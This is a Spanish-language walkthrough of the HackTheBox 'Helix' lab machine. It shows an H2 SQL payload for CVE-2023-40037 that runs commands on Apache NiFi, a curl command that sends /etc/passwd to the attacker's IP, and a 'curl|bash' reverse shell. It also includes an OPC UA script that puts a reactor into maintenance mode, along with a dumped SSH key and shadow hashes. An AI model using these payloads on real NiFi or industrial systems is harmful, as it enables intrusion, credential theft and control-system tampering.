This page looks best with JavaScript enabled

HackTheBox - Helix

En Helix se realizo una enumeracion de subdominios para descubrir Nifi. A traves de esta ultima logramos la ejecucion de comandos y acceso inicial. Se encontro una clave privada para SSH que permitio el acceso a un nuevo usuario. Se interactuo con un servidor ‘OPC UA’ y, basados en la documentacion, se modificaron valores para cambiar el estado del sistema que junto a un script con ejecucion sudo permitio escalar privilegios.

Nombre Helix
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2026-05-09
IP 10.129.245.123
Maker

tarfouss3

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [57, 56, 216, 227, 266, 102, 48, 15, 3, 10],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.99 scan initiated Sat May 16 00:48:03 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.245.123
Nmap scan report for 10.129.245.123
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 16 00:48:19 2026 -- 1 IP address (1 host up) scanned in 16.30 seconds

Web Site

El sitio web nos redirige al dominio helix.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.129.245.123
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 16 May 2026 06:49:10 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://helix.htb/

El sitio tiene una tematica de ingenieria ‘industrial’.

image

Directory Brute Forcing

feroxbuster muestra unicamente index.html.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ feroxbuster -u http://helix.htb -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://helix.htb/
 🚩  In-Scope Url          │ helix.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET     1117l     3956w    43341c http://helix.htb/
200      GET     1117l     3956w    43341c http://helix.htb/index.html
[####################] - 29s     4614/4614    0s      found:2       errors:0      
[####################] - 28s     4614/4614    165/s   http://helix.htb/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio flow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.helix.htb" -u http://helix.htb -fl 8

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://helix.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.helix.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 8
________________________________________________

flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1253ms]
:: Progress: [151265/151265] :: Job [1/1] :: 135 req/sec :: Duration: [0:17:34] :: Errors: 0 ::

flow.helix.htb

Despues de una redireccion a /nifi este muestra el entorno de nifi flow. Muestra el componente ExecuteSQL y LogAttribute conectados.

image

En detalles observamos que la version DE NIFI es 1.21.0.

image

Se define la base de datos “objetivo” y el query del componente ExecuteSQL.

image

User - Nifi

CVE-2023-40037

Encontramos una vulnerabilidad para nifi que indica que no existe una validacion para las conexiones JDBC y JNDI, esto permitiria ejecutar codigo java arbitrario y resultaria en un RCE. CVE-2023-40037 muestra la explotacion a atraves del componente ExecuteSQL, donde se define RUNSCRIPT FROM a una URL con un archivo externo a ejecutar. Esta ultima define la ejecucion de comandos.

Para la explotacion se creo el archivo rce.sql para la ejecucion de ping.

1
2
3
4
❯ cat rce.sql
CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;
CALL EXECVE('ping -c 3 10.10.15.96')

Se configuro la direccion URL, la base de datos es MaintenanceDB.

image

Se realizo la ejecucion del servidor http y del componente (Start), se muestra que la ejecucion fue exitosa.

image

Observamos que el comando ping fue ejecutado al recibir multiples solicitudes icmp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:40:56.827815 IP helix.htb > 10.10.15.96: ICMP echo request, id 1, seq 1, length 64
01:40:56.827845 IP 10.10.15.96 > helix.htb: ICMP echo reply, id 1, seq 1, length 64
01:40:57.830909 IP helix.htb > 10.10.15.96: ICMP echo request, id 1, seq 2, length 64
01:40:57.830934 IP 10.10.15.96 > helix.htb: ICMP echo reply, id 1, seq 2, length 64
01:40:58.831887 IP helix.htb > 10.10.15.96: ICMP echo request, id 1, seq 3, length 64
01:40:58.831908 IP 10.10.15.96 > helix.htb: ICMP echo reply, id 1, seq 3, length 64
01:40:59.669635 IP helix.htb > 10.10.15.96: ICMP echo request, id 2, seq 1, length 64
01:40:59.669657 IP 10.10.15.96 > helix.htb: ICMP echo reply, id 2, seq 1, length 64
01:41:00.672383 IP helix.htb > 10.10.15.96: ICMP echo request, id 2, seq 2, length 64
# ...

A traves de curl y netcat logramos la lectura de archivos dentro de la maquina. Observamos al usuario operator, tambien nifi con directorio /opt/nifi.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# CALL EXECVE('curl -d @/etc/passwd 10.10.15.96:8000')
❯ nc -lvvp 8000
listening on [any] 8000 ...
connect to [10.10.15.96] from helix.htb [10.129.245.123] 37028
POST / HTTP/1.1
Host: 10.10.15.96:8000
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 1925
Content-Type: application/x-www-form-urlencoded

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:104::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinpollinate:x:105:1::/var/cache/pollinate:/bin/falsesyslog:x:106:113::/home/syslog:/usr/sbin/nologinuuidd:x:107:114::/run/uuidd:/usr/sbin/nologintcpdump:x:108:115::/nonexistent:/usr/sbin/nologintss:x:109:116:TPM software stack,,,:/var/lib/tpm:/bin/falselandscape:x:110:117::/var/lib/landscape:/usr/sbin/nologinfwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologinusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinsshd:x:113:65534::/run/sshd:/usr/sbin/nologinlxd:x:999:100::/var/snap/lxd/common/lxd:/bin/falseoperator:x:1001:1001::/home/operator:/bin/bashnifi:x:998:998::/opt/nifi:/usr/sbin/nologinplc:x:997:997::/opt/ot:/usr/sbin/nologin_laurel:x:996:996::/var/log/laurel:/bin/false
 sent 1, rcvd 2077

Actualizamos el PoC para la ejecucion de una shell inversa.

1
2
3
4
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A);return s.hasNext() ? s.next() : "";} $$;
    
CALL SHELLEXEC('curl 10.10.15.96:8000/10.10.15.96:1335|bash')

Tras la ejecucion logrando el acceso como nifi.

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.96] from helix.htb [10.129.245.123] 58228
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
nifi
uid=998(nifi) gid=998(nifi) groups=998(nifi)
/opt/nifi-1.21.0
$

ExecuteProcess

Nifi tambien tiene el componente ExecuteProcess que permite la ejecucion de comandos, entre otros.

image

Utilizamos este componente para ejecutar una shell inversa en groovy. Se realizo la “conexion” con el componente LogAttribute para la ejecucion.

image

Nuevamente una shell como nifi.

1
2
3
4
5
6
7
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.96] from helix.htb [10.129.245.123] 57872
whoami;id;pwd
nifi
uid=998(nifi) gid=998(nifi) groups=998(nifi)
/opt/nifi-1.21.0

User - Operator

Dentro de los archivos de nifi encontramos un backup de la clave privada SSH para el usuario operator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
nifi@helix:/opt/nifi-1.21.0/support-bundles$ ls -lah
total 12K
drwxr-x---  2 nifi nifi 4.0K May  5 10:18 .
drwxrwxr-x 16 nifi nifi 4.0K May 16 08:54 ..
-rw-r-----  1 nifi nifi  411 Jan 25 13:15 operator_id_ed25519.bak
nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat operator*
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
nifi@helix:/opt/nifi-1.21.0/support-bundles$

Esta nos permitio el acceso por SSH y a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
❯ chmod 600 operator_id_ed
❯ ssh operator@helix.htb -i operator_id_ed
The authenticity of host 'helix.htb (10.129.245.123)' can't be established.
ED25519 key fingerprint is: SHA256:nGwNnXA5oCIEMCxZ3joJWy3usUFUt70Wqy72RayvMNA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'helix.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat May 16 11:58:38 AM UTC 2026

  System load:           0.08
  Usage of /:            93.6% of 6.52GB
  Memory usage:          48%
  Swap usage:            0%
  Processes:             246
  Users logged in:       0
  IPv4 address for eth0: 10.129.245.123
  IPv6 address for eth0: dead:beef::250:56ff:feb9:9a44

  => / is using 93.6% of 6.52GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat May 16 11:58:40 2026 from 10.10.15.96
operator@helix:~$ whoami;id;pwd
operator
uid=1001(operator) gid=1001(operator) groups=1001(operator)
/home/operator
operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt
operator@helix:~$ cat user.txt 
cc86fb6a464439d9127c30976093db57
operator@helix:~$

Privesc

Helix Reactor

Encontramos un archivo PDF protegido. Utilizamos pdf2john y john para obtener la contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf
Operator Control & Safety Guide.pdf:$pdf$5*6*256*-4*1*16*7c46c5fed97042269c802d39f7ba411b*48*a3bf8039a5f2a39d85b611b374b74debe6be3aa6f01dc1a6e8dd5cd4157499f9a3efe04ca0c999bcac23d7efd22e8366*48*c8909cc91d0fa3d97bf1ce139c46df1936b2b9dc15a305a659d5eb2b1c3172da04ddf8efbfea0a98b3e5043e883ab3e7*32*d3e8e21436f4263214102eebcf3a51d2a4e5049fc2e2aaf50e594ce952db7011*32*a3b05cab12d5403fb8e96415a023560c9453cea981ddbb72d92650c0933785b5
❯ pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > pdf_hash
❯ john pdf_hash --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
operator1        (Operator Control & Safety Guide.pdf)     
1g 0:00:01:23 DONE (2026-05-16 06:04) 0.01191g/s 3146p/s 3146c/s 3146C/s orphee..olivetree
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed. 

El PDF describe el funcionamiento, componentes, variables y modos del sistema Helix Reactor.

This browser does not support PDFs. Please download the PDF to view it: Download PDF.

Tambien, una imagen describe la relacion entre “componentes”.

image

Ademas, existe un script con ejecucion sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
operator@helix:~$ sudo -l -l 
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/local/sbin/helix-maint-console
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.
operator@helix:~$ 

El script verifica maintenance_window donde se define la “ventana de mantenimiento”, de existir una, ejecuta una shell privilegiada. Para ejecutar esta ultima tendriamos que cambiar a modo mantenimiento a Helix Reactor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
set -euo pipefail

FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))

echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

# Unique scope name
SCOPE="helix-maint-$$"

# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i

# If systemd-run returns, the shell exited.
exit 0

Local Port Forwarding

Los puertos 8018 y 4840 se muestra a la escucha localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
operator@helix:~$ ss -ntpl
State                Recv-Q               Send-Q                                  Local Address:Port                              Peer Address:Port               Process               
LISTEN               0                    128                                           0.0.0.0:22                                     0.0.0.0:*                                        
LISTEN               0                    511                                           0.0.0.0:80                                     0.0.0.0:*                                        
LISTEN               0                    50                                          127.0.0.1:8080                                   0.0.0.0:*                                        
LISTEN               0                    128                                         127.0.0.1:8081                                   0.0.0.0:*                                        
LISTEN               0                    4096                                    127.0.0.53%lo:53                                     0.0.0.0:*                                        
LISTEN               0                    50                                          127.0.0.1:33069                                  0.0.0.0:*                                        
LISTEN               0                    100                                         127.0.0.1:4840                                   0.0.0.0:*                                        
LISTEN               0                    128                                              [::]:22                                        [::]:*                                        
LISTEN               0                    50                                 [::ffff:127.0.0.1]:43801                                        *:*                                        
operator@helix:~$

Obtuvimos los puertos localmente.

1
2
3
4
5
6
7
8
9
❯ ssh operator@helix -i operator_id_ed -L 8081:127.0.0.1:8081 -L 4840:127.0.0.1:4840
❯ netstat -ntpl | grep ssh
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      47372/ssh           
tcp        0      0 127.0.0.1:4840          0.0.0.0:*               LISTEN      47372/ssh           
tcp6       0      0 ::1:4840                :::*                    LISTEN      47372/ssh           
tcp6       0      0 ::1:8081                :::*                    LISTEN      47372/ssh           

El puerto 8081 es una aplicacion que indica el estado del reactor. El puerto 4840 pertenece al servidor OPC UA.

image

OPC UA Server

Utilizamos uv para crear un entorno virtual para utilizar asyncua y opcua-client.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ uv venv
Using CPython 3.13.12 interpreter at: /usr/bin/python
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate
source .venv/bin/activate
❯ uv pip install asyncua
Resolved 12 packages in 6ms
Installed 12 packages in 16ms
 + aiofiles==25.1.0
 + aiosqlite==0.22.1
 + asyncua==1.1.8
 + cffi==2.0.0
 + cryptography==48.0.0
 + pycparser==3.0
 + pyopenssl==26.2.0
 + python-dateutil==2.9.0.post0
 + pytz==2026.2
 + six==1.17.0
 + sortedcontainers==2.4.0
 + typing-extensions==4.15.0

La interfaz grafica de opcua-client muestra NodeId para cada ‘objeto’.

image

Maintenance Mode

Basados en la informacion mostrada por opcua-client se modificaron los valores para colocar en modo mantenimiento el reactor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import asyncio
from asyncua import Client, ua

'''
# Maintenance mode
Mode -> MAINTENANCE
TestOverride -> True
CalibrationOffset -> double value
'''

async def main():
    url = "opc.tcp://127.0.0.1:4840/helix/"
    
    targets = {
        "ns=2;i=12": "MAINTENANCE",
        "ns=2;i=13": True,
        "ns=2;i=6": 20.0
    }
    
    async with Client(url=url) as client:
        for node_id, new_value in targets.items():
            node = client.get_node(node_id)        	                
            current_value = await node.read_value()
            data_type = await node.read_data_type_as_variant_type()
            print(f"\n[Node {node_id}] Current: {current_value} ({data_type.name})")

            await node.write_value(ua.Variant(new_value, data_type))
            print(f"[Node {node_id}] successfully updated to: {new_value}")

if __name__ == "__main__":
    asyncio.run(main())

Ejecutamos el script para modificar los valores.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ uv run helix_reactor.py

[Node ns=2;i=12] Current: NORMAL (String)
[Node ns=2;i=12] successfully updated to: MAINTENANCE

[Node ns=2;i=13] Current: False (Boolean)
[Node ns=2;i=13] successfully updated to: True

[Node ns=2;i=6] Current: 10.0 (Double)
[Node ns=2;i=6] successfully updated to: 20.0

La aplicacion muestra que se modificaron los valores.

image

Shell

Tras ejecutar helix-maint-console este nos devuelve una shell como root. Realizamos la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 111 seconds
[!] Session will be terminated automatically
root@helix:/home/operator# whoami
root
root@helix:/home/operator# cd /root
root@helix:~# ls
root.txt  snap
root@helix:~# cat root.txt
e3d2b74ac3e1f391e07950e66c5916c2
root@helix:~#

Loot

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@helix:~# cat /etc/shadow
root:$y$j9T$qbccQVxYsOHj3tbGz7nGx0$IVeDHapbP0ssZP7djM0IGBJch7s9.n08SZPzHWChva6:20563:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tcpdump:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
landscape:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20477:0:99999:7:::
sshd:*:20477:0:99999:7:::
lxd:!:20477::::::
operator:$y$j9T$rVyYwA6s4tqGwvmMDVobv0$7QwrDIVLH3nDt8wmaOJjHcXF7GuIxCSnl/DN7.WxX95:20563:0:99999:7:::
nifi:!:20477::::::
plc:!:20478::::::
_laurel:!:20563::::::
root@helix:~#
Share on

Dany Sucuc
WRITTEN BY
sckull